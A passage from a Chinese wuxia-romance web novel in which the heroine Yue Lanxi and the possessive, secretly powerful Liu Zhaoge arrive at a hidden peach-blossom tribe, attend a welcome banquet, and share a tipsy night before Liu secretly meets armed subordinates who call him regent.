见势,越兰溪毫不停歇,手腕反转,枪尖狠狠扎进裂缝,借着腰腹之力猛力一撬。
“咔嚓”一声,整块石壁轰然塌落,露出其后黑黝黝的暗道入口。山风从暗道中卷出,带着股潮湿的霉味。
身后的虞裳见石壁碎成一块一块的是石块,张大嘴巴,发出不可置信的叹息,要是他爹见着他还不如一个女子,怕是会让他加练三天三夜。
“兰溪,你牵着我的手。”柳棹歌很享受这种感觉,从第一次牵过越兰溪的手之后,他总会找各种各样的理由将她的手握在手里,他很喜欢。
太过自然的动作让越兰溪发了下神,什么时候他们两个牵手牵得这么自然了?说实话,越兰溪后院中养的那些花花绿绿的人,别说牵手了,就连手都没有碰到过她的衣裳。
暗道很长且曲折,潮湿阴暗,时不时窜过几只肥硕的老鼠,吓得柳棹歌靠近越兰溪越来越近。
“别怕。”
如愿听见越兰溪的带着迁就的哄意,黑暗中的柳棹歌仿佛真的只是一个胆小矜贵的公子模样,带着天真的依赖,所有的偏执都隐藏到无人看见的地方。
暗道内阴风四起,他们不知道又走了多久,才见前方亮着微光。
越往前走,绿意更加盎然。
刚走出暗道,映入眼帘的就是一大片的桃花林。如今已经是五月了,山中的桃花居然开得如此娇艳绚烂,越兰溪被眼前的美景晃得有些失神。
被他们遗落在身后的虞裳才走出来,被美景惊得练连连赞叹。
走出去的一瞬间,七八个穿着特殊服饰的小孩子将他们团团围住,叽叽喳喳地围着他们问,年纪最大的那个少年穿过田埂,迅速往回跑,边跑边大喊。
“族长,族长,有人来啦。”
田野间的风裹挟着泥土与稻禾的清香,正在耕种的农夫扛起锄头目光灼灼地望着他们
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三人。
越兰溪敏锐地看过去,是一个皮肤黝黑,身材精瘦的男子,脖子上挂着布巾,裸露胴体,脸上带着老实憨厚的笑。
她正打量着,身旁的柳棹歌已顺着她的视线望去,眉头微蹙间,眼底掠过一丝不耐,脸色悄然沉了下来,薄唇轻启,吐出四字:“不知廉耻。”
“这有什么可羞耻的?”越兰溪“扑哧”一声笑出声来,眼角眉梢都带着暖意,转头看向柳棹歌时,语气里带着几分调侃,“你这京城来的贵公子,怕是从没见过田间劳作的光景吧?农人赤膊耕种,是为了利落凉快,何来不知廉耻之说?”
柳棹歌却侧重点却抓偏了:“兰溪见过很多吗?”
他的指尖轻轻勾起越兰溪衣袖的一角,他指节修长,动作却带着几分不易察觉的强势,仿佛要将那片布料连同其主人一同缠在身边,声音更是软得发腻,黏着越兰溪的耳廓打转:“那兰溪喜欢看吗?”
“不喜欢,这有什么好看的。”越兰溪挪开眼神。
她想要反驳他,但是还没想好说什么时,柳棹歌靠近越兰溪,悄悄说:“既然兰溪觉得他们寻常,那往后,我让兰溪看看我的,可欢喜?”
这话一出,越兰溪的脸颊瞬间涨得通红,她猛地抽回手腕,瞪了柳棹歌一眼:“柳棹歌!你胡说什么呢!”
说话越发大胆,但是脑海中不断浮现柳棹歌褪去衣物的画面。
柳棹歌见她这般模样,眼底的阴鸷散去几分,隐藏去得逞的笑意,取而代之是惶恐的模样,惴惴不安地勾住越兰溪地手指,低头道歉:“兰溪,你别生气,我,我不过是想着,兰溪如此喜欢我的脸,那我的胴体兰溪也肯定喜欢的。”
越兰溪决定不理他,她现在很热,从心底窜上来的燥热。越兰溪用手扇着风,环视被群山环绕的四周,应该是气流聚在山谷,导致山中比外界更暑热一些。
虞裳刚赏完花回来,就看见柳棹歌忐忑地守在越兰溪身边,越兰溪脸上晕着酡红,站在一边用手扇风。
“你很热吗?”虞裳紧紧衣襟,只觉得山中比山外凉上几分。
“闭嘴!”
桃林尽头,人声嘈杂起来。随着讨论的声音不断靠近,人也越来越清晰。
走在最前头的是一位须发皆白的老者,头发梳理得整齐,银白色的胡须垂至胸前,打理得一丝不苟。
他头上戴着一顶用彩色羽毛编织而成的帽子,羽毛在日光下泛着斑斓的光泽,身上穿着一件宽袖长袍,衣料上绣着繁复奇异的花纹,似花非花,似鸟非鸟,线条古朴又透着几分神秘,既显得隆重非凡,又带着一种与外界截然不同的怪异感。
老者步履稳健,走到三人面前站定,脸上露出温和的笑容,声音洪亮而厚重。
“三位远方来的客人,一路辛苦了。老夫是这桃溪部落的族长,听闻今日有贵客踏过桃林而来,特意带着族人前来相迎。”
目光一一扫过他们,看见柳棹歌时,脸色大变,神色中带着敬畏与不敢相信。身后跟着浩浩荡荡的一众人也看见了柳棹歌,发出惊叹。
只见老者唇部颤抖,神情恍惚,蹒跚走上前,作势要抓住柳棹歌的胳膊,却被越兰溪出枪的动作挡在半路上。
19. 火上浇油
见越兰溪一脸警惕,老者转过头,擦去眼角溢出的点点泪花:“不好意思啊,几位年轻人。可否打听一下,这位公子姓甚名谁,家住何方,今岁几何啊?”
柳棹歌仍是那副不急不缓,逢人便笑的温雅模样,走上前略一行礼:“晚辈姓柳名棹歌,京城人。这是的夫人,越兰溪。”
越兰溪和虞裳都楞住了,越兰溪是不敢相信柳棹歌就这样大大方方地在一干人等面前承认了,虞裳则是因为没有等到柳棹歌介绍自己,只好自己走出来抱拳行礼。
“在下虞裳,飞花派第十六代传人。”
老者简单扫过虞裳的脸,继而又继续盯着柳棹歌的脸,只说三声“好”,擦拭掉脸颊上的泪,不好意思的笑了笑:“见笑了,看见你,便想起了故人。”
“带几位客人去休息梳洗一下吧。”
转头,又慈祥地笑着对他们说:“今夜,还恳请几位赏光,布设简单的宴席招待各位,还请不要推辞。”
如此说了,越兰溪也不好推辞,毕竟确实他们该正经吃点东西了,也该换身像样的衣服。
"如此,便谢过族长了。"
给他们带路的是一个十五六岁的小少年,是个话篓子。
“你们来得巧,再过三日,便是我们部落最盛大的杀亚日。”
“要是你们多呆几日,可以随我们上山,山上有可多野果子。”
“最近来了好多朋友,我们也跟着沾光,没完都可以吃到好多好吃的,平常也只有元日或者中秋才有这样的盛宴。”
能看得出来,最近他们应该真的吃得很好。这个叫衣万的少年,脸色黝黑中带着红润,一瞧就是血气充足。
越兰溪:“最近有很多人来吗?”
“对呀,不知道怎么回事,近几日有好多人到村里来,大多都住在北面。我还挺开心的,我们村子里的人已经很久没有看到过山外的人了。”
“你们不能出去吗?”
“只有及冠之后,能出去。但是出去之后,就再也回不来了。”说到这里,衣万干净透亮的眼神染上失落与惆怅。
“到了,这两间屋子,你们自己选吧,等会晚膳时,会有人来带你们去。部落中,可以随便逛。”衣万指着两间连着的木屋。
虞裳眼睛骨碌一转,跳进左边的房间:“我就住这间啦,你们夫妇俩随意啊!”
越兰溪傻眼了,她还没和别人一起住过一间房。
一旁的柳棹歌却丝毫不慌,甚至眉眼间还多了几分愉悦,自然地握住越兰溪的手。
他的手很凉,像是怎么也暖不起来一样。突然的凉意惊得越兰溪不自觉蜷缩起手指,偶然地擦过他的掌心。
痒痒的,柳棹歌扬唇。
木屋陈设很简单,进屋就是一张石案,一张矮榻,两把木椅,往里走是一张木窗,南面是一扇奇异花样的木窗,推开木窗,一条小溪流顺着沟壑流过,一大片草地映入眼帘。
草地对面是另一面的木屋,恰巧的是,今日有暖阳,对面木屋的主人也刚好推开木窗,隔着距离,越兰溪都能看清楚对面人脸上的惊愕之意。
蒋小乙:“?”
越兰溪:“。。。”,“啪”一声,她就又将木窗放下来,声音有点大,正在铺床的柳棹歌走过来,轻声问道:“怎么了?”
她摆手,表示无事,可是脸上写着满脸的不开心。他们在外面过苦日子,这小子却在这里过上舒坦日子了。
“兰溪,兰溪......”
只是半盏茶的时间,蒋小乙的声音就从南面一直叫嚷着传到他们耳朵,听起来格外欢喜。
柳棹歌懂了,原来方才是见着久未谋面的蒋小乙了。嘶,好烦,要是他再缠着兰溪,就被怪他了。
木门本就摇摇欲坠,被不收着力道的蒋小乙一踹,“啪嗒”一声,木门倒地,罪魁祸首也愣在原地。
原本已经躺在床上补眠的虞裳惊醒,目露诧异地盯着站在他房中的蒋小乙。
“抱歉,走错了。”蒋小乙扶起木门,窘迫地想钻进地缝,试图将被剥离下来的木门重新装回去。
“啪嗒”,又掉在地上了。
“蒋小乙!”越兰溪实在受不了他在外面搞出的动静了,猛地打开房门,气势汹汹地照着他臀部就是一脚。
“唉哟——”
“你踹我干嘛。”扑在地上的蒋小乙捂着腰部委屈道。
“你告诉我,这几日你去哪里了?为什么会在这里?当时是不是让你好好跟着我,还有,方洄呢?”越兰溪掰着指节,指节咔咔作响,周身气势沉下来。
“兰溪顺顺气,至少小乙还好好的不是吗?小孩子贪玩,总是记不住大人的话也是正常的。”柳棹歌顺势走出来,在火上再填把柴。
“山中风水养人,瞧着小乙的起色都红润了些许。”
随着柳棹歌的落进下石,越兰溪脸色越发黑。
蒋小乙气哽,心中暗骂,该死的,被这疯子摆了一道,一边拉着越兰溪还未来得及换掉的破烂衣裳谄媚赔笑。
越兰溪对着他冷笑,表示不想理他,却怎么也甩不掉蒋小乙的爪子。
身旁的柳棹歌盯着蒋小乙拉着越兰溪衣角的手,下颌线缩近,漆黑的瞳仁直直盯着蒋小乙。
被盯得汗毛发直,总感觉脖子凉飕飕的,他往上一看,柳棹歌站在越兰溪身后,摘掉了温润的面具,转而是一副嫉妒的模样。在半空中,蒋小乙和他的实现相撞,他讪讪一笑,放开越兰溪的衣角,双手举起,表示什么也没做。
见此,柳棹歌表情才稍稍转晴,环住越兰溪的肩头,温声道:“兰溪先不气,我们先去换身衣裳吃点东西再好好和小乙聊聊。”
和蒋小乙想比,越兰溪只觉得柳棹歌让人十分舒心,看蒋小乙更加不顺眼几分。
蒋小乙:“......”好你个柳棹歌,火上浇油是吧。
五六日了,越兰溪总算是好好的梳洗头,换上一身干净的衣裳了,只是,她总觉得这身衣裳很怪异,她身上的事,柳棹歌身上的也是,就连来了好几日的蒋小乙身上的衣裳也是,都绣着怪异奇特的花纹,显得诡异。
柳棹歌脚步声很轻地靠近坐在床边,对着镜面粗糙的铜镜梳头的越兰溪。他拿过越兰溪手中的木梳:“我为兰溪梳头可好?”
猝不及防,越兰溪手中一空,动作一滞,痴痴地盯着铜镜中有些变形却也能看出风姿的柳棹歌,心中微微悸动。
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>他们才认识短短两月,动作交流却像是认识好久的好友。越兰溪想着,要不干脆拜把子兄弟算了,这样就算以后他想要走了,也能继续保持关系。
随着柳棹歌轻柔地动作,越兰溪舒服地闭上眼,坐在矮凳上,暖阳打在她脸上,整个人显得懒洋洋的,像只刚休憩好懒懒撑腰的玉面狸。
柳棹歌情不自禁地停下手中的动作,一点一点附身凑近正在闭眼享受的越兰溪,眼中的她像是周身环着光,让柳棹歌放轻呼吸,不敢打扰这份美好。
他盯着越兰溪脸上的小绒毛,在光下显得整个人毛茸茸的。不知为何,柳棹歌有些口干舌燥,喉结微微滚动,眼神打量着越兰溪脸上的五官,眉毛、眼睛、鼻子,嘴唇。
红润的嘴唇微涨,一股难以名状的异样,自足底悄然攀援,转瞬便窜至天灵,整个人都恍若被无形的力道裹住,连指尖都泛起麻意。
柳棹歌凑近越兰溪,越来越近,越来越近,近到可以感受到越兰溪喷洒出的呼吸。
等越兰溪被脸上的痒意弄醒的时候,就见柳棹歌蹲在他身侧,闭上双眼,像只小狸猫一样用脸颊轻轻蹭着她的脸颊,整个人放松,嘴角还带着满足的弧度。
软软的,滑滑的,越兰溪默默的想。
她脑中轰然一片空白,只剩下他肌肤的温度和沐浴过后淡淡的清冽气息。心跳窒了一瞬,随即像是有团被晒过之后暖洋洋的棉花裹住心尖,软得一塌糊涂。
她不知道她这是怎么了,明明以前还亲过他的,怎么被简单的一个贴脸给唬住了。
越兰溪骤然出声:“柳棹歌。”却惊然发现她的声音怎么听起来如此......不可描述。
柳棹歌被她吓在原地,一动不敢动。
越兰溪就这样见着他整个人的生气耷拉下去,明明蹲着就比她坐着还高的人,此刻手足无措地僵着动作,方才的亲昵褪去,那双素来装满柔意的眸子此时湿漉漉的,盈满水光,像是做坏事被抓包的孩童,连唇瓣都偷偷抿起。
“兰溪,我这里又不舒服了,麻麻的还疼。”柳棹歌的手按住胸口,他不明白,怎么又开始疼了,难道他伤的太重了?只是很快他便否定了这个猜测,以前见肠子的伤口都没有现在这么难受。
和她同样的位置?越兰溪歪头思考,难道他们是吃了一样的食物,导致中毒了?
“蒋小乙!”越兰溪大声喊隔壁和虞裳聊天的蒋小乙。
“你去帮我们找一下部落中的大夫。”
蒋小乙自动忽略了在一旁的柳棹歌,神色紧张:“可是受伤了,严重吗?”
“不知道,可能是中毒了。”越兰溪一本正经地回答。
一炷香时间,蒋小乙风风火火地拉着一位正值壮年的男子跑进房中:“衣洲,族医,部落中救他一个大夫。”
衣洲行了个礼:“衣是部落中的族医,擅治疗外伤内患。”
越兰溪粗略打量一下,心想衣洲算是部落中长相白皙的,眉眼舒然开阔,整个人清风朗月,气质干净又舒服。
一直关注着越兰溪的柳棹歌见进来的大夫居然长得如此俊朗,心中警钟骤鸣,转头见越兰溪果真盯着来人看,面色阴沉的可怕,眸低带着错杂的情绪翻涌。
20. 命数之说
“你们哪位先诊?”
“我来。”柳棹歌说。
坐下之后,柳棹歌冷眼看向对面诊脉的男子,往常的温柔俊逸都已经染上几道锋利的寒芒。
“请这位病患描述一下症状。”
“我说得清楚症状,还找你干嘛。”柳棹歌冷笑。
语气有些冲,连越兰溪都听出来了,衣洲却不觉得有什么,反而赔罪:“是衣不好。”
衣洲把脉,慢慢说:“这位公子应是脉象紊乱驳杂,内腑有多处陈年旧伤,深及骨髓,且又添新伤,气机理应溃散。但诡异的是,脉中私有药性淤积,帮助公子调理肢体,导致公子恢复速度极快,却也是极为消耗身体。”
柳棹歌幽幽道:“都说错了。”
衣洲向来对自己的医术又极大的自信,闻言又复脉,喃喃:“不可能啊,此乃滞涩之象,神魂不稳之兆啊。”
越兰溪急了,替他回答:“他心口不舒服,说是酥酥麻麻的,偶尔还有绞痛之感。”
“什么时候会出现?”
柳棹歌望着越兰溪为他着急。
衣洲狐疑看过去,见柳棹歌满脸笑意地看向越兰溪,突然心领神会,会心一笑。
他收回手:“好了,请这位姑娘落座吧。”
“我看完你们俩的再一起开药方。”
越兰溪却有些抗拒:“不用,我的身体我最清楚,就是一点外伤加上最近休息的不好有些疲倦罢了。”
衣洲观察越兰溪的面相:“衣观姑娘,脸色红润,却印堂窄狭,寿纹不彰,元气难固啊。”
蒋小乙一头雾水:“这是何意?”
“短命之兆。”
蒋小乙一愣,柳棹歌骤然盯住衣洲,越兰溪反而潇洒一笑:“短命?是短到三十岁,还是五十岁啊?短命只说不都是人说的吗?我说我能长命百岁千秋万载。”
衣洲被她这番话逗得眼底笑意更深,指尖捻了捻袖口,语气却依旧是医者的沉稳:“姑娘性情豁达,倒是破了面相里的滞气。但印堂窄狭非一日之象,寿纹隐而不彰,多是先天元气有亏,再加后天奔波劳碌,脏腑暗耗所致。”
他目光掠过越兰溪额角未褪的浅淡疤痕,又转向柳棹歌骤然绷紧的下颌线,补充道,“不过命数之说,向来是相由心生。姑娘这般不认命的性子,本就是最好的解药。”
桌上的脉枕、毛笔和纸被他一一收起,临走时,还趁着他们没注意时,靠近柳棹歌小声说道:“公子应是喜欢这位姑娘。”
原本低气压的柳棹歌瞬间释放掉,双眼微微睁大,又是喜欢?
送走衣洲后,蒋小乙还在气呼呼地责骂衣洲的医术看相:“好好的一个大夫,还会江湖骗人之术了,亏我还以为他是一个好医者,居然狗嘴里吐不出象牙。”
越兰溪面无表情看着天上万里无云,随后释然一笑:“好了,小乙,衣洲医术还是可以的。”
蒋小乙急:“那他乱说......”
“方洄呢?怎么不见她?”
越兰溪打断,仿佛蒋小乙要是说了什么他将方洄弄丢了的话,她马上就把他就地卖埋进土中。
“方洄方洄,你怎么不问问我啊!她去山上采药了。”蒋小乙吃味,说完,掉头就走。
柳棹歌适时走出来:“小乙还是小孩子脾气,过会儿自己就好了,过来,帮你梳发。”
越兰溪摸摸微湿的发尾,她发现,只要有机会,好像柳棹歌都会想要帮她挽发。她也随他去了,反正正正好她不太喜欢这种需要精细的动手的活。
“你这有进步啊!”
越兰溪望着铜镜中英气的女子,墨发高束,仅以一根玄色发绳牢牢系住,成利落马尾垂于脑后,平添几分随性飒爽。
“本就是兰溪长得好看,我这不过是锦上添花。”
柳棹歌笑起来,甜得发腻。
说起话来,越发是一套是一套了,越兰溪觑了一眼笑得甜蜜得柳棹歌,心中缓缓流过一丝无法言语的触动。
“叩叩叩。”
门外是方才的带路的衣万:“越姑娘、柳公子,再过两刻钟便是接风宴了,若几位已休息好,我现在便可带你们过去。”
越兰溪点头,示意带路。
一路上,越兰溪都在观察部落的构造,依山而建,傍水而居,每家每户并不是挨在一起的,而是围绕着大山,选择平坦的地势修建,因此,每一户相隔甚远,甚至还有在半山腰修建房屋的。
向着他们来的反方向一直走,到了一个极大的平台,这一点倒是和她漆雾山建构差不多,平台向上,便是一间很大的房屋,八仙桌摆着,越兰溪大概扫了一眼,应有十三四桌,那就是有一百来号人。
现在零零散散地只坐着十来个人,有男有女,有老有少,多多少少都带着点伤。
越兰溪心中有数的点点头,看来,来此部落的寻宝人不少嘛。
衣万引着他们穿过中堂,到达首位下的第二桌,蒋小乙正好坐在桌子上,看见他们来了,一个眼风都没给他们,只是很明显的“哼”了一声。
方洄见到越兰溪和柳棹歌倒是很惊喜:“兰溪!柳公子!”
越兰溪顺势坐在方洄的旁边,身旁的柳棹歌也落座。
听着她们俩久别重逢的谈话,像是完全忘了有他这个人的存在似的,
柳棹歌手指不停地转动茶杯,皱眉。
烦!很烦!人多了,兰溪就不会再关注他了。
不知她们二人在聊什么,关于女子的胭脂水粉、家长里短,越兰溪整个人枕手趴在桌子上,笑得整个人发抖。
柳棹歌克制住心中的烦躁和往下的嘴角,眉眼间还是不自然地暼了一下。
他看见越兰溪的手指悬在半空中,指节细长且骨节分明,应是常年拿枪,指节处有粗糙,手背处还带着不明显的伤疤,很长一条,从手腕处一直到指根,淡淡的。
柳棹歌抿抿唇,悄悄用手指戳了一下越兰溪的手背,见她没反应,又用指腹轻轻划过她的那道伤疤,一直到指根,随后他轻轻点了点她的指节。
应该是感受到手上的痒意,越兰溪的手微不可察地弹动一下。
柳棹歌抿唇笑,像是得了什么乐趣似的,低头垂眼,用他的指尖一下一下勾越兰溪的手指。
越兰溪烦了,但是聊天正在兴头上,不想打断,于是用手去抓住柳棹歌调皮的手指,握在手中,紧了紧,警告他别捣蛋。
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指尖传来的温度骤然降临,柳棹歌微怔,不自觉地蜷缩指尖,最后也只是小心翼翼地任由手指放在她掌中,眼睫垂下,落下一片阴翳。
心中的欢喜让他想要靠近越兰溪更多一点,干脆扯出手指,和越兰溪十指相扣后,他才满意地重新扬起笑。
一个人坐在对面的蒋小乙将柳棹歌的小动作、小表情看得一清二楚,眼底掠过一丝淡淡的嫌弃和鄙夷,真会伪装,我看你能伪装到什么时候。
柳棹歌当然注意到蒋小乙的视线了,但是他根本就懒得理他,打不过他的人,他都不会正眼瞧上一眼。
随着时间一点一点开始接近饭点夕食时刻,堂中的人渐渐多了起来,气氛开始嘈杂热闹,就连她们在的这一桌也来了两位年轻人。
尽管如此,柳棹歌还是感受到了人群中盯着他的凌厉的眼神,不是蒋小乙的,那是一个肃杀之人透露出的眼神,带血带寒。
他遥遥望过去,穿过人群,是中堂对面的人。
那人,不,是那一群人长得平平无奇,衣着和他们穿的一样,眼神却带着强悍迅猛,柳棹歌再清楚不过这种眼神了。
他指尖骤然攥紧,突然的动作让越兰溪一惊,侧目看过来询问:“怎么了?”
柳棹歌缓和好状态,摇头:“有些累了。”
“等我们吃完就回去,今晚早点休息。”越兰溪也体谅柳棹歌,毕竟是个体弱之人,跟着她跋山涉水了怎么久,身体没有垮掉已经算是厉害的了。
柳棹歌朝她笑笑,看着她又转过头去,才将视线放回到方才打量他的那个方向上,意料之中的是,那个位置已经换成一个吗女子坐在那里,方才的人已经不见了。
他却笑得更加明媚,终于来了是吗?他等了好久了。
正式开宴,桌上的饭菜很朴素,没有大鱼大肉,但是能看出来是极致用心的,热腾腾的,还冒着热气。
族长换身便衣,站立于首位,提酒:“诸位豪杰远道而来,我衣族部落蓬荜生辉!深知各位皆是见过大世面的人物,大风大浪等闲视之,美酒佳肴亦不足为贵。但我族待客之道,贵在真心。今日必将倾尽全力,以百分诚意奉迎各位,些许薄礼,万望莫嫌简慢。”
“三日后,是我衣族部落每年最为隆重的节日,杀亚日。到时还望各位莅临!”
越兰溪听着雄浑有力的声道,感叹山中真是藏龙卧虎,这位白发苍苍的族长必然不是面上看上去的那么和善简单。
有喝了酒的豪客高举酒碗:“多谢族长的收留,要不是衣族部落,我早就死在那大山之中了,哪里还有今天喝酒吃菜的我!”
“对,族长是大善人,专门派人在山中四处搜寻就是为了我们这些迷失在大山中的。”
习武者,大多头脑简单,一根筋。越兰溪大口大口地往嘴里灌酒,啧啧称奇。
“兰溪可是看出什么不对劲?”柳棹歌目光始终放在越兰溪身上,很快察觉越兰溪态度上的变化。
“你觉得这个族长是善是恶?”
柳棹歌低头思忖片刻:“族长既然设宴款待,还以礼相待,必然是好人。”
“你就是心思太简单,心底太善良了。”越兰溪不赞同。
21. 醉酒求抱抱
“行走在江湖,要以最恶毒的眼光观察周围的所有人所有事情,包括这个部落。”
越兰溪喝口酒:“怎么会这么巧,派人到山中搜寻,专门找我们这种迷路之人。这些酒菜虽然是真的,但是我们就好比这桌上的酒肉,如果他们有坏心思,那我们就是任人宰割的牛羊。”
柳棹歌像是学到了,点头称赞:“兰溪好聪明,这都能想到。”
再看了一眼对面喝得烂如死猪的蒋小乙,拉踩道:“小乙好像就没太有这种觉悟。”
他又换口气继续说:“但是他还小嘛,还没见识过江湖险恶。”
越兰溪恨铁不成钢,蒋小乙都已经来到漆雾山一年之久,跟着她走南闯北,还是这么没有防备心!
丝毫不知道被人穿小鞋的蒋小乙已经倒在桌子上,一头栽下去,闹出的动静之大吓得周围人以为酒中有毒。
方洄:“兰溪,我就先将小乙带回去了。”
越兰溪:“好,我帮你搭把手吧。”
她是真的不知道方洄看中了蒋小乙什么。
方洄拒绝:“不用,我带着他边走边散散他身上的酒气。”
眼巴巴地目送他们二人离开,越兰溪越想越想不明白,有那么一刻,她觉得她像是看自己家傻儿子,明明知道他配不上,还是想高攀一把的感觉。
柳棹歌自然将一切都看在眼中,这种感觉真的很不美妙,他只想要越兰溪眼中只有他一个人。
他执拗地扳过越兰溪的脸,用指尖轻轻戳她的掌心,戳得越兰溪莫名地心尖痒,她耸耸手臂,却被柳棹歌一把抓住,不让她有一点退缩的可能。
“兰溪的手,好软。”
不清楚是不是因为喝了酒的原因,他说话黏糊糊的,脸上染上红晕,眼中泛着水光。
“你喝醉了。”越兰溪得出结论,试图掩盖住心头的痒意。
“没醉没醉。”柳棹歌憨憨一笑。
“兰溪是不是只喜欢我?是不是,是不是。”说到后面,迟迟得不到越兰溪的回应,语气有点急了,扯住她的衣裳就是不放手。
“是是是,只喜欢你。”越兰溪不好意思得说出口,有些头疼地扶额。要是她山寨中的那帮大老粗敢这样和她说话,她照着他的脸就是一拳,好让他清醒清醒。
但是现在是手无缚鸡之力的柳棹歌,况且,越兰溪真的觉得此时的柳棹歌好勾人!
得到满意的回答,柳棹歌靠在越兰溪肩头,闭眼睡着了。·
越兰溪察觉肩上的人没了动静,轻轻推了他一下,没反应!推两下,还是没反应!
不是吧!越兰溪震惊,她瞧他碗中剩下的酒,估摸着才喝了一两口而已,就。。。就醉了?
不仅身体差,酒量还差。
柳棹歌伏在越兰溪背上,诡谲一笑,随着她的走动,他整个人像是轻飘飘的,眼神黏在越兰溪的脖子处,那里在跳动。
他勾唇,轻轻贴上她脖颈跳动的经脉,用唇轻轻蹭了蹭。
带着热气喷洒的柔软贴在她脉搏处,越兰溪偏偏头想遮盖住这一丝痒,恰好与柳棹歌的头碰上,轻轻撞了一下。
柳棹歌“唔”了一声,带着酒气与不满。
越兰溪却以为柳棹歌难受:“怎么了,很难受吗?”
“你要吐一定要给我说啊,一定要说,听到没有?”
柳棹歌不说话,只是攀附在她身上的手越发紧,整个脑袋窝在她的脖子与肩颈的凹陷处,放纵她的味道盈满他整个鼻腔。
随着青石板小路,伴着星光灿灿,溪水两边的两排屋子都已经熄灯休息,安静得可以听见对面山林的鸟叫。
身后木屋转角处,一个同样衣着服饰的刀疤脸男子面色阴狠地盯着越兰溪二人:“告诉兄弟们,先按兵不动。”
这一边,越兰溪推开房门,将背上的柳棹歌放在床上,可能是放得力道大了些,床上的人喉咙里滚出一声闷哼,像是在抗议她的不怜香惜玉。
越兰溪:“你说你,你早说不能喝酒我就不给你倒酒了嘛。”
她转身往门外走,手腕却被床上原本已经昏睡的人一把拉住。
她只瞧见他挣扎着坐起来,两只手环握住她的手腕,眼神中带着迷离,脸颊绯红一片:“兰溪,干什么去?”
越兰溪没招了:“打水,擦脸!”
她没好气道。
哪知道喝醉了的柳棹歌越发粘人:“我也要去。”
“你去干什么?”
“我,就,要,去。”他一字一句,如果不是此刻的他面色潮红,那眼神坚定的,像是在宣战似的。
“去去去,你去,那你去吧,我不去了。”
越兰溪当即脱掉鞋子躺在床上,像是逗小孩儿一样,看着柳棹歌呆滞一下,转而又转过头来用表情控诉她。
他也没想到越兰溪说不去就不去了。
柳棹歌站在床边,气鼓鼓道:“我说的是,我们俩一起去!”
说话带着含糊,黏成一团。乌发凌乱地贴在颊侧,下颌线绷紧,嘴角微抿,眼底还带着未散去的水汽和不自觉的依赖,让越兰溪的心房软下去一点。
看他样子,再逗下去是真的要生气了,越兰溪见好就收,心情大好。
她声音发软,从床上撑起来,好笑道:“好了,逗你的,你愿意跟着就跟着吧。”
“我来端,我来端。”
见她从灶上打好水,柳棹歌便一把夺过水盆。
害怕他神识不清,走路不稳,将水盆打翻在地,越兰溪无奈地走过去,把住水盆的边上:“还是给我吧,你别把最后剩下的这一点水打翻了。”
“不会!”
柳棹歌口齿清晰地拒绝:“夫人是拿来宠的,不能让夫人做这些。”
像是牙牙学语,不知道他从哪里学来的,越兰溪有些哭笑不得:“不是,你从哪里学来的?”
“兰溪的话本。”
得,她的话本里还有这些吗?
越兰溪不记得了,她不喜欢看关于情爱的故事,有些话本她都没有翻过,不曾想居然被他看了去。
“那你可小心啊,别打翻了。”打翻了也没事,大不了用冷水擦擦。
“以后,我养兰溪。”
“兰溪,今天月亮好圆啊!”
“兰溪,我是不是很厉害?”
提心吊胆一路的越兰溪见水盆问问放在桌子上,终于松口气。
“你看着我做什么?”柳棹歌的眼睛像是小狗狗的眼睛,明亮纯粹,湿漉漉的望着越兰溪,让她的心又化了一点。
“我是不是很厉害?兰溪。”
这是在求夸奖?
“是是是,超厉害。”越兰溪敷衍。
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“那你要奖励我。”
“?那你要干什么?”
“抱抱我。”
“???”
越兰溪内心大受震惊,瞧着他确实是喝醉了,没了神智,白天风姿傲骨的谪仙人变成了求奖励的小狗?
她上前,伸开手臂,随意地拥抱了一下,随即撤离。
柳棹歌猝然被拥进怀里,鼻尖蹭到她的下颌,听见她胸膛扑通扑通的心跳声。可不过弹指间,便感觉到热度转瞬即逝,方才的拥抱好象一场错觉。
他不满地皱下眉:“不是这样抱的。”
越兰溪搪塞,拿过帕子:“就是这样抱的,我们就是这样子的。”
她将帕子在水盆中打湿,拧干,走过去想擦擦这位酒鬼的脸,却被他躲开。
越兰溪是真的有点生气了:“过来,坐下!”
大晚上的,把他背回来了不说,还得打水给他擦脸,她没精力和他闹了。
柳棹歌却委屈,接过帕子:“我帮兰溪擦。”
听见他这话,越兰溪当机立断,躺倒。她一直坚信,会偷懒的山大王才能管理出优越的造反班子。
温热的湿帕擦过她的额头鼻尖,又擦过脸颊下巴,最后停留在她的嘴唇,迟迟不动。
怎么没动静了?越兰溪睁开左眼,见柳棹歌痴痴地望着她的嘴唇。
“兰溪,你的嘴唇好红啊。”
气氛旖旎。
不禁让越兰溪想到她们“洞房花烛夜”的那一晚,现在的气氛搞得她有些心猿意马。
她坐起身子,干咳一声:“多谢,你的嘴唇也红。”
柳棹歌:“?”我这是夸奖吗?
“收拾好了就睡觉。”
越兰溪弹指,将手中的石子进准打在烛心上,烛火“噗”得一下就灭掉了,打个哈欠翻身滚上床。
黑暗中,柳棹歌脱掉靴子,上床,将面对墙壁睡觉的越兰溪掰向面对他,双手环抱住她,觉得不对劲,又用手将越兰溪的手放在他腰上,停顿了几息后,又收回拥抱,执拗地说着:“这才是抱!”
已经困得眼睛都睁不开的越兰溪不想理他,只是一个劲地“嗯嗯”,心中混沌,却想着,要是他明日醒来想起今晚的所作所为,怕是会羞红了脸吧。
隔着一个枕头的距离,柳棹歌头靠在胳膊上,直勾勾地盯着越兰溪的睡颜。
黑暗可以催生人心中的欲念与妄想,柳棹歌眼里的占有欲和侵略感不再遮掩,方才的醉态也杳然匿迹。他的手指点点自己的胸膛,带着紊乱的心跳。
他想,如果是中毒的话,他应该已经病入膏肓了。
月光透过窗棂撒进屋子,带着树杈交织的影子,洒在地上,像是一副水墨画。
窗外传来几声有规律的鸟叫,柳棹歌耳尖而动,倏尔之间,柳棹歌的双眼睁开,确定越兰溪已经睡熟之后,穿上外衫,悄无声息地走出房间。
桃花林中,三个身形彪悍异常魁梧的持刀大汉呈三角站在小径中,神情严肃,带着令人胆怯的压迫感,望着远处不急不缓向他们走来的柳棹歌。
夜露凝霜,桃林浸在墨色中,花瓣借着月光泛着冷白。柳棹歌走近,随意坐在青石之上,墨发未束,如瀑布般垂落肩头。
“属下参见摄政王。”
三位大汉双手拢于胸前,腰身微躬。
22. 撒娇
柳棹歌正眼始终未瞧他们三人,指尖漫不经心摩挲着枝干,指节泛着青,唇角噙着那抹若有若无的笑意,眼底沉入寒渊。
下属躬身立于暗影中,不敢抬头,额上冷汗冒出,哪怕这位爷衣着朴素得如乡野书生,周身那股肃杀之气依旧让人不寒而栗。
等着他摘完桃花,束成一束之后,才抬眸看向下属:“这是什么花?”
领头的下属斗胆抬眼瞧了一眼他手中的花:“属下不知。”
